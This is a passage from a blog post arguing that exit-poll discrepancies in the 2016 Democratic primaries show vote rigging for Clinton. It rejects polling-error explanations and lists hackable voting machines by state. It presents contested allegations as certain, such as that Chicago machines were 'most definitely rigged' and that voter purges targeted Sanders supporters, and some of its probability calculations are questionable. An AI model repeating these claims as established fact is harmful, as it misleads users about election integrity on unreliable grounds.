Out of the 25 states above, the polls missed in Clinton's favor 21 times and Sanders' favor 4 times. This is like flipping a coin 25 times and getting heads 21 times. The probability of that is <b>BINOMDIST(21, 25, 0.5, FALSE) </b>= 0.00038, less than 1 in 2500.<br />
<br />
We can also look at how extreme the misses are. Statistical samples, including exit polls, have a margin of error (MoE) specifying how much the true value can deviate from the reported value. There is a 95% chance that the true value is within MoE of the reported value. Conversely, there's a 5% chance that the true result is outside the MoE.<br />
<br />
Theodore de Macedo Soares has specified an MoE on the margin between Clinton and Sanders, called the TSE (total survey error) in the above table. He calculated the MoE for the difference between two candidates <a href="https://abcnews.go.com/images/PollingUnit/MOEFranklin.pdf">using an accepted method</a>, and then increased it by 32%. The 32% is a <a href="https://en.wikipedia.org/wiki/Design_effect">design effect</a>, meant to account for the increased error exit polls have. Exit polls aren't a pure random sample - they pick a set of precincts and sample within those - so extra error can be introduced.<br />
<br />
Nate Silver also mentions the need for a design effect in <a href="http://fivethirtyeight.com/features/ten-reasons-why-you-should-ignore-exit/">his article criticizing exit polls</a>, but he puts it higher, at 50-80%. Soares <a href="http://tdmsresearch.com/2016/06/20/45/">derived the 32%</a> from the GOP exit polls, which <a href="http://tdmsresearch.com/2016/06/20/republican-party-table-2016-primaries/">have been much more accurate</a> than the Democratic ones. The margin discrepancies are very low, and evenly distributed between Trump and the other candidates. Increasing the standard polling MoE by 32% keeps the GOP results within the TSE 95% of the time. Since Edison did both polls, the same design effect is used for the Democrats. 32% is close to the 30% that Richard Charnin uses, which was suggested in a 1996 review of media exit polls.<br />
<br />
In the Democratic primaries, 10 out of 25 states have had discrepancies that exceeded the TSE. This is 40% of the time, far more than 95% confidence in the poll results would imply. And every single shift outside the TSE was in favor of Clinton, when they should have been evenly distributed between Clinton and Sanders. A single discrepancy outside the TSE favoring Clinton has a 2.5% probability. The probability of this occurring 10 times is <b>BINOMDIST(10, 25, 0.025, FALSE)</b> = 2.13 * 10^-10, less than 1 in 4 billion.<br />
<br />
It's one thing to have the polls miss - it's quite another to have nearly all of them miss (often outside the MoE) for one candidate. The Clinton shift cannot be caused by random polling error: it's statistically impossible as per the calculations above. Sanders should benefit from exit polling misses about as often as Clinton does, but that's not happening. Either the exit polls are systematically underestimating Clinton's support, or Clinton's official vote count is being inflated for some reason.<br />
<br /></div>
<h2>
Polling error explanations</h2>
<div>
Media election analysts are quick to point to flaws in the exit polls. Nate Silver has a <a href="http://fivethirtyeight.com/features/ten-reasons-why-you-should-ignore-exit/">list of reasons to ignore exit polling</a>, which I've already brought up a couple times. Nate Cohn of the New York Times has written several articles criticizing exit polls, including a <a href="http://www.nytimes.com/2016/06/28/upshot/exit-polls-and-why-the-primary-was-not-stolen-from-bernie-sanders.html?_r=0">recent one about the Democratic primaries</a>. But we're not just looking for reasons why exit polls are bad - we're looking for reasons why they consistently understate Clinton's support. These are their suggested reasons for that:</div>
<div>
<ul>
<li>Sampling error (due to precinct clustering or bad randomness)</li>
<li>Early/absentee voting may be accounted for badly, or not at all</li>
<li>One candidate's voters are more likely to take the poll than another's</li>
<li>Young voters are more likely to respond to exit polls</li>
</ul>
</div>
<div>
The explanation involving sampling error can be dismissed right away. Sampling error is certainly possible, especially if the precincts polled fail to represent the state. But there's little reason to believe that this would have created a consistent bias against Clinton across 25 states. This is a random statistical error that should have affected both candidates evenly, and the math above shows that the Clinton shift can't be caused by that kind of random error. Furthermore, the TSE accounts for sampling error, but discrepancies in 10 out of 25 states exceeded it.</div>
<div>
<br /></div>
<div>
Other explanations are more compelling. Early/absentee voting is known to favor Clinton, <a href="https://www.washingtonpost.com/opinions/could-the-urge-to-vote-against-trump-help-bridge-clintons-enthusiasm-gap/2016/03/27/b360db08-f2c4-11e5-89c3-a647fcce95e0_story.html">there's been talk</a> of Sanders supporters being more enthusiastic, and Sanders is overwhelmingly supported by young people. It seems possible that one of these three reasons explains the Clinton shift.<br />
<br />
Someone at a local New York newspaper <a href="http://talkintv.buffalonews.com/2016/04/20/cnns-exit-polls/">also suggested</a>, perhaps jokingly, that Clinton voters were lying about supporting Sanders to seem cooler. There <i>is</i> a known phenomenon, the <a href="https://en.wikipedia.org/wiki/Bradley_effect">Bradley effect</a>, regarding people lying to pollsters. But while it may have mattered in 2008 with Obama, a prominent black candidate, there's no reason to think it affects Clinton and Sanders. If anything, one would expect people to be reluctant to say they voted against the first woman president. Any theory about lying to pollsters, though, is virtually impossible to prove or disprove.</div>
<div>
<br /></div>
<h3>
Early/absentee voting</h3>
<div>
The theory that early/absentee voting wasn't counted correctly was looked at in <a href="http://marionumber1.blogspot.com/2016/05/could-early-voting-explain-exit-poll.html">part 1</a>. We assumed the official results were correct, and that the exit polls misestimated the prevalence of early/absentee voting, but were otherwise fine. Then we calculated what early/absentee margins would be required by Clinton and Sanders to make everything match. We did this for various underestimations and overestimations of the early/absentee vote in proportion to the total vote.<br />
<br />
Afterwards, we looked at whether the margins made sense. In a few states, we knew the official early/absentee results, so we could compare to those. In most states, we didn't know, but could still check whether the margins were realistic. That gave us a less decisive answer on whether a state <i>did</i> work with this hypothesis, but allowed us to tell if a state <i>didn't</i>.<br />
<br />
Here are the states (incomplete), broken down by whether the margins made sense. If they were, the early/absentee hypothesis is considered to work:<br />
<ul>
<li><b>Yes:</b> Florida, North Carolina, Texas</li>
<li><b>No:</b> Connecticut, Georgia, Ohio, Oklahoma, South Carolina</li>
<li><b>Maybe:</b> Arkansas, Indiana, Maryland, Michigan, Tennessee</li>
</ul>
For states where the hypothesis worked, the average polling miss in Clinton's favor is 4.8%. Much of this comes from Texas, and without Texas, it's only 2.55%. In states where the hypothesis failed, the average is 5.72%, but excluding Oklahoma (the only miss for Sanders), it's 8.7%. Where the hypothesis may have worked, the average miss is 4.64%.<br />
<br />
Excluding a couple outliers, the early/absentee hypothesis is mainly only useful in explaining the small exit polling misses. It could explain Florida and North Carolina well, but these states had very small misses. Georgia, Ohio, and South Carolina had some of the largest discrepancies, and they can't be explained with it. And it's unclear whether the early/absentee hypothesis explains some moderate misses, like Arkansas, Indiana, Michigan, and Tennessee.<br />
<br />
Many states weren't tested in this model, due to a lack of available data. But the states that were tested give a clear conclusion: early/absentee misestimation can only explain minimal discrepancies.<br />
<br /></div>
<h3>
Enthusiasm gap</h3>
<div>
Maybe Sanders appears to do better in the exit polls because his supporters are more enthusiastic, and thus more willing to talk to exit pollsters. Edison proposed a similar theory in 2004 to explain why Kerry did so much better in the exit polls than officially. This theory was disproven by looking at Edison's precinct-level data, comparing the response rates and Kerry support by precinct. We don't have that data for the 2016 primaries, but we can still try to see if the enthusiasm gap idea works.<br />
<br />
To start with, is it even true that Sanders supporters are more enthusiastic? Sanders drew larger crowds and outraised Clinton, so it seems like that'd be the case. But several pre-election and post-election telephone polls have implied the opposite is true.<br />
<br />
A <a href="http://www.gallup.com/poll/190343/trump-clinton-supporters-lead-enthusiasm.aspx">Gallup poll</a> from late March showed Clinton supporters as far more enthusiastic. 54% of Clinton supporters were extremely or very enthusiastic about her, compared to 44% of Sanders supporters. These numbers suggest that the enthusiasm gap is actually to Sanders' detriment, not Clinton's.<br />
<br />
The same Gallup poll shows a massive enthusiasm gulf on the GOP side: 65% of Trump supporters, compared to 39% for Cruz and 33% for Kasich. Yet Republican primary exit polls have been far more accurate. Only 2 exit polls missed outside the margin of error, and the discrepancies divide evenly between favoring Trump and favoring others. Even supposing Sanders supporters are more enthusiastic, that doesn't explain why enthusiasm would only affect the Democratic exit polls.<br />
<br />
Pre-election polls for Super Tuesday and March 8 <a href="https://www.washingtonpost.com/news/the-fix/wp/2016/02/20/bernie-sanderss-supporters-are-passionate-but-maybe-not-as-much-as-you-think/">gave Clinton an enthusiasm advantage</a> in every state but Vermont. Vermont, where Sanders led slightly in enthusiasm, had one of the smallest exit polling misses, just 1.1%. Meanwhile, Alabama had Clinton up in enthusiasm by 30%, and Georgia had her up by 20%. If an enthusiasm gap mattered, the exit polling misses in those two states would benefit Sanders. But they ended up being the two largest exit polling misses for Clinton, at 14% and 12.2%, respectively.<br />
<br />
(Admittedly, these pre-election polls aren't the best to compare to, since they're 2-3 weeks in advance and don't capture who actually turned out to vote. Still, since Vermont, Alabama, and Georgia are very strongly in the camp of either Sanders or Clinton, these numbers are likely to be in the right ballpark.)<br />
<br />
An enthusiasm gap skewing the exit polls towards Sanders is a convenient idea, but ends up being completely counterintuitive. It's inconsistent with what we see on the Republican side, where Trump's massive lead in enthusiasm has no effect on whether the exit polls miss. And Clinton has been ahead in enthusiasm by almost every count, yet the exit polls still seem to understate her support.<br />
<br />
When Sanders has slight enthusiasm leads, the exit polls barely miss in his favor; when Clinton has massive enthusiasm leads, her vote share is wildly understated. If an enthusiasm gap does affect exit poll response rates, Sanders' support in the exit polls should be significantly lower. The exact opposite has turned out to be true.<br />
<br /></div>
<h3>
Youth overrepresentation</h3>
<div>
Another promising theory is that young voters are overrepresented in the exit polls. The obvious beneficiary would be Bernie Sanders, who led decisively among youth, even in states he majorly lost. Edison has observed for a long time that young voters are more likely to respond to exit polls. They account for that in their weighting process, by tracking which age groups refuse an exit poll and giving certain ones more weight. But perhaps their process isn't sufficient.<br />
<br />
<a href="http://www.nytimes.com/2016/06/28/upshot/exit-polls-and-why-the-primary-was-not-stolen-from-bernie-sanders.html?_r=0">Nate Cohn's article</a> has exit poll response rates by age in 2004. Voters aged 18-29 and 30-59 have similar response rates, with a drop for voters 60 and older. So the youth overrepresentation theory is really about <i>under</i>representing older voters. We can test the theory by adjusting the weight of older voters (65 and over, since that's what we have data for). How high do they need to be weighted for the exits to match the official results, and does it make sense?<br />
<br />
Spencer Gundert, who wrote <a href="https://medium.com/@spencergundert/hillary-clinton-and-electoral-fraud-992ad9e080f6">an article about election fraud in April</a>, has saved <a href="http://imgur.com/a/1NzaA">pictures of the unadjusted exit polls from CNN</a>. Some of them contain age breakdowns, so we can analyze those states. I've done so in <a href="https://docs.google.com/spreadsheets/d/1T84vsReyqiVP1L5MVRYTa3MzB6w6xu0o75A8yBIjUkE/edit#gid=0">this spreadsheet</a>. Let's see what percentage of voters have to be 65 or older for the polls to match, and how much greater that is than what the unadjusted exit polls say:<br />
<ul>
<li><b>Alabama (14.0% discrepancy):</b> Impossible to make match, <a href="http://www.counterpunch.org/2016/05/11/hillary-clinton-versus-bernie-sanders-in-depth-report-on-exit-polling-and-election-fraud-allegations/">as-per Doug Johnson Hatlem</a></li>
<li><b>Georgia (12.2% discrepancy):</b> 69% of voters (53% change)</li>
<li><b>New York (11.6% discrepancy):</b> 47% of voters (27% change)</li>
<li><b>Ohio (10.0% discrepancy):</b> 40% of voters (18% change)</li>
<li><b>Mississippi (9.9% discrepancy):</b> 67% of voters (47% change)</li>
<li><b>Michigan (4.6% discrepancy):</b> 29% of voters (9% change)</li>
<li><b>Virginia (4.3% discrepancy):</b> 29% of voters (7% change)</li>
<li><b>Illinois (4.1% discrepancy):</b> 30% of voters (8% change)</li>
<li><b>Missouri (3.9% discrepancy):</b> 34% of voters (9% change)</li>
<li><b>Florida (3.4% discrepancy):</b> 33% of voters (9% change)</li>
<li><b>North Carolina (1.7% discrepancy):</b> 24% of voters (4% change)</li>
<li><b>Vermont (1.1% discrepancy):</b> 30% of voters (7% change)</li>
</ul>
<div>
Obviously, this is only a subset of states. But it shows that the youth overrepresentation theory can only work for smaller discrepancies. In the states with discrepancies outside the TSE, the percentage of voters 65+ has to be off by a ludicrous 18% or more. The theory can't explain large discrepancies, and only <i>might</i> explain the discrepancies that are 5% or lower.</div>
</div>
<div>
<br /></div>
<div>
Ted Soares, who compiled <i>all</i> the unadjusted exit polls, <a href="http://tdmsresearch.com/2016/07/26/youthful-voters-exit-polls/">did regression analyses to test the youth overrepresentation theory</a>. One thing he looked at was the correlation between exit poll discrepancies and Sanders' performance among young voters. If overrepresenting the youth vote is inflating Sanders' share in the exit polls, the effect should be magnified when Sanders does better among the young. In fact, the opposite happens:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-m9tAaogdysY/V7QCihIhNgI/AAAAAAAAGxY/bpAul7XIxTkF2Sy7_JtrewPbTBmgyK97gCLcB/s1600/Youth-Graph-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="343" src="https://3.bp.blogspot.com/-m9tAaogdysY/V7QCihIhNgI/AAAAAAAAGxY/bpAul7XIxTkF2Sy7_JtrewPbTBmgyK97gCLcB/s400/Youth-Graph-3.jpg" width="480" /></a></div>
<div style="text-align: center;">
<b>Figure 1:</b> Exit poll discrepancies vs. Sanders' performance among 18-29 year-olds. There's a slight negative correlation: the exit polls match more closely when more young voters support Sanders. Graph by Ted Soares.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
This graph has the limitation of only including the 18-29 demographic, not slightly-older voters with similar response rates. But since age is the best predictor of candidate support, his 18-29 performance is still meaningful. If his support is low among the young, it's even lower with older demographics.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Soares' graph completely contradicts the logic of the youth overepresentation theory. If younger voters are counted too much, this overcounting should help Sanders more (increase the discrepancy) when he has higher support among those voters. The exact opposite occurred.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The youth overrepresentation theory is a failure when looked at state-by-state and overall. It can't work with individual states unless the exit poll discrepancies are minor. And the relationship between discrepancies and Sanders' youth support is contrary to what the theory should result in.<br />
<br />
<h3>
Combined theories</h3>
</div>
</div>
<div>
None of the three polling error theories above can explain the Clinton shift on their own. But perhaps when considered together, they do. Two or more individually-weak factors might work in tandem to skew the exit polls against Hillary Clinton. Compelling as this may seem, it's quite unlikely.<br />
<br />
The enthusiasm gap and youth overrepresentation theories aren't just weak: they run completely contrary to what the polls say. More enthusiasm for Clinton is correlated with a significant exit poll miss in her favor, and higher support for Bernie among the youth is correlated with <i>lower</i> exit poll discrepancies. Rather than just being unable to <i>fully</i> explain a Clinton shift, they don't work at all.<br />
<br />
That leaves the early/absentee theory on its own. Based on the data above, it was quite unsuccessful, especially for most of the larger discrepancies. Furthermore, this occurs even when supposing (unrealistically) that the exit polls underestimated the early/absentee vote by 300%. Massively driving up one of these factors in Hillary's favor still can't justify the exit polling shift.<br />
<br />
Our two theories about response bias (enthusiasm gap and youth overrepresentation) are totally contradicted by the data. And early/absentee voting, which was already shown to be weak on its own, can't explain the Clinton shift even when pushed beyond the realm of plausibility. Combining the polling theories doesn't give us a better explanation.<br />
<br /></div>
<h3>
Another reason?</h3>
<div>
None of the three polling error theories above, nor their combination, is able to explain the persistent Clinton shift. Of course, these are just the most common explanations, not an exhaustive list. There may well be another theory based on polling error that successfully explains the discrepancies. If somebody has one, feel free to comment below, and I'll take a look at it, perhaps updating this post.<br />
<br />
Still, when the most common polling error theories can't explain the recurring discrepancies favoring Clinton, that's a good sign that the exit polls aren't the problem. If the Clinton shift can't be explained by random error <i>or</i> systematic bias, then it's likely the exit polls are actually quite good.<br />
<br />
Until a successful polling error explanation comes along, it's logical to believe that the exit polls successfully captured voter intent. In that case, why do the official results fail to reflect it?<br />
<br /></div>
<h2>
Uncounted ballots explanation</h2>
<div>
In <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#2000_election">Florida's 2000 election</a>, the official results clearly failed to capture voter intent. Nearly 200,000 ballots were left uncounted, and thousands more were cast for unintended candidates due to ballot confusion. Al Gore may well have won had these errors not occurred. This disconnect between voter intent and vote counting could have led exit pollsters to overstate Gore's lead at 6.6%. Al Gore voters who marked their ballot incorrectly would believe they voted for Gore, and tell pollsters that.<br />
<br />
Maybe that happened in the Democratic primaries: exit polls included people whose ballots weren't counted. If these ballots were mainly for Bernie Sanders, it could explain why the exit polls consistently had him doing better. Of course, if that's the case, we'd have to ask why there were enough uncounted ballots to affect the exit polls, and why most of them are for a particular candidate.<br />
<br />
The most common way for ballots to be uncounted is when people are forced to vote on <a href="https://en.wikipedia.org/wiki/Provisional_ballot">provisional ballots</a>. Provisional ballots are meant to solve issues with voter eligibility. If a voter is denied at the polls (due to registration confusion, missing voter ID, or other problems), but believes they should be allowed to vote, they can cast a provisional ballot. Election officials will later review the provisionals and decide whether or not to count them.<br />
<br />
The uncertainty of provisional ballots is a potential pitfall in exit polling. Edison <a href="http://www.counterpunch.org/2016/05/11/an-interview-with-lead-edison-exit-pollster-joe-lenski/">does not ask voters</a> if they voted provisionally in order to screen them out. If large numbers of people voted provisionally, told exit pollsters who they supported, and had their ballots rejected, the exit polls could be skewed.<br />
<br />
In the primaries before May, over 220,000 provisional ballots <a href="http://www.huffingtonpost.com/entry/provisional-ballots-not-counted_us_5761bb92e4b0df4d586f15fe">were uncounted</a>. About half of the uncounted provisionals were from New York and Arizona: 91,000 <a href="https://indypendent.org/2016/05/07/elections-board-certifies-primary-vote-rejects-91000-provisional-ballots">from New York City alone</a>, and 20,000 more <a href="http://www.azcentral.com/story/news/politics/elections/2016/03/30/maricopa-county-arizona-primary-election-canvass-results-protest/82427224/">from Maricopa County</a>. Most of those ballots were cast in the Democratic primaries.<br />
<br />
<a href="https://www.washingtonpost.com/news/the-fix/wp/2016/03/23/arizonas-big-election-day-fail/">Maricopa County officials suggested</a> that large numbers of independents erroneously tried to vote in the primary. Arizona's Democratic primary is closed, meaning only registered Democrats can participate. If independents tried to do so anyway, they could vote provisionally, but their ballot would be rejected.<br />
<br />
While Arizona had no exit polling, New York did and was also a closed primary. Could large numbers of independents voting provisionally, and answering exit pollsters, help explain New York's 12% polling miss? Independents usually favor Bernie Sanders, so that would make sense.<br />
<br />
But looking further shows there's more going on than just voter mistakes. There are numerous accounts of people in closed primary states (Arizona, New York, and others) having their voter registration mysteriously changed to make them ineligible. Most were registered Democrats, who had their party affiliation switched or got purged from the rolls. Either one would have barred them from the closed primaries, leaving them no choice but to vote provisionally.<br />
<br />
This <a href="http://usuncut.com/politics/arizona-election-fraud-primary/">first occurred in Arizona</a>, with reports in <a href="https://www.washingtonpost.com/news/the-fix/wp/2016/03/23/arizonas-big-election-day-fail/">Maricopa</a>, <a href="http://tucson.com/news/local/elections-officials-look-into-reports-of-pima-county-voting-problems/article_12c366a5-cea7-5152-89c1-b9b47e9ac379.html">Pima</a>, <a href="http://usuncut.com/politics/5-examples-voter-suppression-arizona-primary/">Yavapai</a>, and other counties. Not long after that, <a href="http://heavy.com/news/2016/03/new-york-election-fraud-voter-registration-not-enrolled-in-a-party-dropped-sanders-clinton-democrat-what-to-do-how-vote-suppression/">New York voters fell victim</a> to the same issues. In Brooklyn alone, 126,000 registered voters <a href="http://www.pbs.org/newshour/rundown/officials-investigating-why-126000-voters-were-purged-from-ny-rolls/">were purged from the rolls</a>, many of whom had never been inactive or moved. <a href="http://heavy.com/news/2016/04/election-fraud-voter-registration-changed-suppression-party-affiliation-sanders-clinton-ca-ny-az-md-pa-what-to-do/">The same issues carried over</a> to several other Democratic primaries, including Pennsylvania, Maryland, Connecticut, New Jersey, and California. All of these were closed or semi-open primaries.<br />
<br />
Interestingly, the vast majority of victims seem to be Sanders supporters. Nearly every report online comes from the Sanders subreddit, or supporters of his on social media. This anecdotal hypothesis <a href="https://anonymousinvestigationsblog.wordpress.com/2016/03/26/anonymous-report-was-arizonas-voter-registration-database-hacked/">was confirmed by Anonymous for Arizona</a>, and <a href="http://www.counterpunch.org/2016/05/12/purged-hacked-switched-on-election-fraud-allegations-in-hillary-clinton-vs-bernie-sanders/">by Counterpunch for New York</a>. It's likely that the same is true for the other states where this issue occurred.<br />
<br />
Throughout multiple closed primary states, the pattern is clear: supporters of Bernie Sanders are being disenfranchised through voter registration irregularities. Unexplained party switches and roll purges have occurred since Arizona, and are only being reported by Sanders supporters. The one-sided nature and prevalence of the issues makes it unlikely that it's a simple glitch - it appears to be a targeted effort to disenfranchise Sanders supporters.<br />
<br />
What would happen to the exit polling misses if all the uncounted provisionals were included for Sanders? (It's unlikely that all of them were for Sanders, but the vast majority probably were.) <a href="http://www.elections.ny.gov/NYSBOE/elections/2016/Primary/DemocraticPresPrimaryResults.pdf">In New York</a>, with its 91,000 rejected NYC provisionals, the results would be 55% to 44% for Clinton. Still a major exit polling miss, but only by 7% instead of 12%, just within the TSE. And adding in provisional ballots from elsewhere in the state may narrow the miss further.<br />
<br />
Aside from New York, though, uncounted provisional ballots don't explain the discrepancies. The other closed primaries that were affected had much smaller exit polling misses. Pennsylvania, Maryland, and Connecticut had misses by 2.6%, -0.6%, and 2.2% in Clinton's favor. With the exception of New York and West Virginia, all of the largest exit polling misses <a href="https://en.wikipedia.org/wiki/Democratic_Party_presidential_primaries,_2016#Schedule_and_results">were in open primaries</a> less susceptible to these registration issues.<br />
<br />
Registration fraud targeting Sanders supporters deserves to be looked it in more depth, and I plan to do that in a future post. But outside of Arizona and New York (<a href="http://www.latimes.com/politics/la-pol-ca-california-primary-results-confusing-20160711-snap-story.html">as well as California</a>), it's unlikely to have had much effect on the results. And that means it had little effect on the exit poll discrepancies.<br />
<br /></div>
<h2>
Vote rigging explanation</h2>
<div>
Polling error can't explain the Clinton shift, meaning that the exit polls reflected voter intent. And the failure of the uncounted ballots explanation leaves no legitimate reason for the official results not to. We're left only with an illegitimate reason - vote rigging in favor of Hillary Clinton.<br />
<br />
Vote rigging is often dismissed as an implausible conspiracy theory: it would require too many people, and someone would blow the whistle. But as explained in part 3, <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#Rigging_conspiracy">a single person is often all it takes to compromise an election</a>. And there are <a href="https://www.reddit.com/r/CAVDEF/comments/4x9ohd/real_cases_of_election_tampering/">multiple past examples</a> of vote rigging without a perpetrator being found. People can and do get away with election fraud.</div>
<div>
<br /></div>
<div>
Many people studying the exit polls suspected vote rigging in Clinton's favor from the beginning. But there wasn't any proof until April, when fraudulent vote counts in Chicago were revealed. Illinois mandates a 5% hand-count audit to verify the machines' accuracy. The paper audit trails from the DRE machines are tallied by hand and compared against the machine counts. Multiple citizen observers who watched Chicago's audit gave disturbing testimony:</div>
<div>
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/OSNTauWPkTc?start=1444" width="560"></iframe>
</div>
<div>
<br /></div>
<div>
The auditors tried to hide the count from observers, clearly not wanting it to be overseen. Multiple times, the hand count differed from the machine count, so the auditors changed their hand tally to match. In one precinct, 21 Sanders votes were erased and 49 Clinton votes were added, in order to match the machine count. Several observers came forth with matching testimony and affidavits.<br />
<br />
Chicago's audit provided the first concrete evidence that machines were miscounting votes. These miscounts occurred in many precincts, with <a href="http://www.counterpunch.org/2016/05/13/chicago-election-official-admits-numbers-didnt-match-hillary-clinton-vs-bernie-sanders-election-fraud-allegations/">the machines nearly always favoring Clinton</a>. While it could simply be random machine error, the fact that one candidate consistently benefits makes it unlikely. Voting machines in Chicago were most definitely rigged in Clinton's favor. And if that happened in one city, we should be suspicious of it happening elsewhere.<br />
<br /></div>
<div>
<h3>
Poll discrepancies and vulnerable machines</h3>
</div>
<div>
If exit poll discrepancies indicate vote rigging, greater discrepancies should have occurred where the machines are more vulnerable to tampering. Looking at the <a href="https://www.verifiedvoting.org/verifier/">voting systems</a> and <a href="https://www.verifiedvoting.org/resources/post-election-audits/">audit procedures</a> in each state mostly confirms that idea.<br />
<br />
<b>Alabama</b> had the largest discrepancy favoring Clinton, 14.0%. Three of its four highest-population counties (Jefferson, Mobile, and Montgomery) use <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#M100_650">Model 100 optical scanners</a>, whose firmware can easily be replaced by a malicious memory card. No hand audits of the paper ballots are conducted.</div>
<div>
<br /></div>
<div>
<b>Georgia</b> had one of the largest discrepancies, 12.2%. They use paperless <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#AVTS">AccuVote TSx machines</a> statewide, which are severely vulnerable to voting machine viruses and leave no way to verify the results. And the central tabulator, <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#GEMS">GEMS</a>, has easy backdoors to allow vote manipulation.<br />
<br />
<b>South Carolina</b> had a 10.3% discrepancy in Clinton's favor. Just like Georgia, they use a touchscreen susceptible to viruses, the <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#iVotronic">iVotronic</a>, statewide with no paper trail.<br />
<br />
<b>Ohio</b> had a fairly large exit polling shift to Clinton, 10.0%. Franklin, the second most populous county, uses iVotronic touchscreens. Summit, the fourth most populous county, uses the Model 100 optical scanner. The next five most populous counties (Montgomery, Lucas, Stark, Butler, Lorain) all use the AccuVote TSx. While the touchscreens have paper trails, Ohio doesn't audit them in the presidential primaries.<br />
<br />
<b>Mississippi</b> had a 9.9% exit poll discrepancy. Three of its four highest-population counties - Harrison, DeSoto, and Rankin - use the AccuVote TSx, Model 100, and iVotronic, respectively. Six of its next seven most populous counties (Jackson, Madison, Lauderdale, Forrest, Jones, Lowndes) use AccuVote TSx, and one (Lee) uses the Model 100. Even where paper trails exist, no audits are done.<br />
<br />
<b>Texas</b> had a 9.3% discrepancy for Clinton. Its eight highest-population counties (Harris, Dallas, Tarrant, Bexar, Travis, El Paso, Collin, Hidalgo) use paperless DRE machines that are all hackable: the AccuVote TSx, iVotronic, and <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#eSlate">eSlate</a>. The lack of a paper trail makes Texas's minimal 1% audit useless.<br />
<br />
<b>Tennessee</b> had an 8.3% exit polling miss. Shelby, its highest-population county, uses paperless AccuVote TSx machines, and <a href="http://web.archive.org/web/20080222135557/http://www.bbvforums.org/forums/messages/1954/44242.html">is infamous for tampering with its GEMS central tabulator</a>. The next two highest-population counties - Davidson and Knox - use paperless iVotronic and eSlate machines, respectively. All of these counties are susceptible to rigging without the 3% audit catching it.<br />
<br />
<b>Massachusetts</b> had a Clinton shift of 8.0%, right at the margin of error. Each town <a href="http://sweetremedy.tv/electionnightmares/archives/278">has its own election system</a>, with various optical scanners and hand counts being used. 219 towns, the vast majority, use the <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#AVOS">AccuVote OS</a>, whose rigging was demonstrated in HBO's <i>Hacking Democracy</i>. A private contractor, <a href="http://lhsassociates.com/">LHS Associates</a>, programs all of these machines with no oversight. 18 other towns use the <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#Optech">Optech IIIP-Eagle</a>, which can be rigged in the same way. No hand-count audits are done.<br />
<br />
<b>Indiana</b>'s exit poll discrepancy was 5.7%. The top four counties by population use the ES&S DS200 or Microvote Infinity, neither of which is known to be vulnerable to tampering. The next five most populous counties (Saint Joseph, Vanderburgh, Elkhart, Tippecanoe, Porter) use the Model 100, the paperless AccuVote TSx, or the paperless iVotronic. No hand-count audits are done.<br />
<br />
<b>Arkansas</b>'s discrepancy was 5.2%. Of its top six most populous counties, five (Pulaski, Benton, Washington, Faulkner, Saline) use a combination of iVotronic and Model 100/650 machines, while one (Sebastian) uses the DS200. The next two most populous counties (Craighead and Garland) also use the DS200. No hand-count audits are done. This makes the state reasonably possible to rig.<br />
<br />
<b>Michigan</b>'s discrepancy was 4.6%. Its eight most populous counties (Wayne, Oakland, Maycomb, Kent, Genesee, Washtenaw, Ingham, Ottawa) use a mix of Model 100, AccuVote OS, and <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#Optech">Optech Insight</a> machines, all of which have known vulnerabilities. No hand-count audits are done.<br />
<br />
<b>Virginia</b>'s discrepancy was 4.3%. Many of the lower-population counties use vulnerable optical scanners (such as the AccuVote OS) and DRE machines (such as the AccuVote TSx and iVotronic). However, the 10 highest-population counties use the DS200 or OpenElect, neither of which is known to be hackable. No hand-count audits are done. This makes some minor shift in the outcome possible.<br />
<br />
<b>Illinois</b>'s discrepancy was 4.1%. The most populous county, Cook, uses <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#AVC">AVC Edge touchscreens</a> that can easily be rigged, and Chicago's audit discovered that many of them <i>were</i>. Several other counties use vulnerable machines, but all have paper trails, and are subject to Illinois's 5% audits. While Cook County ran a corrupt audit that obscured machine rigging, other counties likely did them properly. Cook County alone, though, provided nearly triple Clinton's margin of victory.<br />
<br />
<b>Missouri</b>'s discrepancy was 3.9%. The most populous county, Saint Louis, uses the iVotronic and Model 100, both of which have known vulnerabilities. The next two most populous counties (Jackson and Saint Charles), however, use the OpenElect, which is not known to be vulnerable. After that, there are several counties using the AccuVote OS and Optech Insight. But all machines have a paper record subject to a 1% audit, making only minor machine rigging possible.<br />
<br />
<b>Florida</b>'s discrepancy was 3.4%. Its two highest-population counties, Miami-Diade and Broward, use the <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#M100_650">Model 650</a> for absentee ballots, which is vulnerable to firmware replacement. But aside from Palm Beach (using the Optech), the top eight counties by population all use the DS200 at the polling place, which has no known vulnerabilities. And Florida mandates 1% hand-count audit. This would allow only some minor rigging.<br />
<br />
<b>Pennsylvania</b>'s discrepancy was 2.6%. While the top five counties by population all use paperless DREs, only Alleghany and Montgomery use ones that are known to be hackable: the iVotronic and AVC Advantage, respectively. The next two most populous counties (Lancaster and Chester) use vulnerable optical scanners, but they're subject to 2% hand-count audits. It would be difficult for much significant rigging to occur.<br />
<br />
<b>Connecticut</b>'s discrepancy was 2.2%. It uses the AccuVote OS statewide, which is quite susceptible to rigging, but a 10% hand-count audit is required. This rigorous audit makes it difficult for vote rigging not to be caught, explaining the very small exit polling miss.<br />
<br />
